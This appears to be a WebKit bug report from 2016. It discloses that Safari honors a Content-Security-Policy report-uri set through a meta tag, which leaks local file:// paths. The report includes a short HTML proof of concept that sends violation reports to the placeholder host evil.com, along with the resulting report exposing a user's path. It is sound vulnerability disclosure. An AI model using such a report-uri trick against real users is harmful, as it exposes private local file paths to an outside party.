158263 2016-06-01 09:03:39 -0700 CSP: report-uri is honored even if CSP is served via <meta> tag, leaking full file:// paths as document-uri 2016-06-01 20:24:24 -0700 1 1 1 Unclassified WebKit WebCore Misc. WebKit Local Build Unspecified OS X 10.11 RESOLVED DUPLICATE 154307 P2 Normal --- 1 mikispag webkit-unassigned aaj+webkit bfulgham dbates oldest_to_newest 1198161 0 mikispag 2016-06-01 09:03:39 -0700 Safari leaks the full file:// path in document-uri if a report-uri is in a CSP served via <meta> tag, even if the specification explicitly prohibits to honor report-uri if the policy is served via <meta> tag[1]. PoC: report-uri.html ---------------- <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Security-Policy" content="img-src 'none'; report-uri https://evil.com/csp"> <title>CSP report-uri demo</title> </head> <body> <img src="cat.jpg" alt="A nice cat"> </body> </html> This is the report sent to a remote report-uri: {"csp-report":{"document-uri":"file:///Users/mikispag/CSP/report-uri.html","referrer":"","violated-directive":"img-src 'none'","original-policy":"img-src 'none'; report-uri https://evil.com/csp","blocked-uri":"file"}} [1] https://www.w3.org/TR/CSP2/#directive-report-uri 1198411 1 dbates 2016-06-01 20:18:44 -0700 *** This bug has been marked as a duplicate of bug 154307 *** 1198413 2 dbates 2016-06-01 20:24:24 -0700 Out of curiosity, what version of Safari are you using? You can find the version of Safari in Safari > About Safari.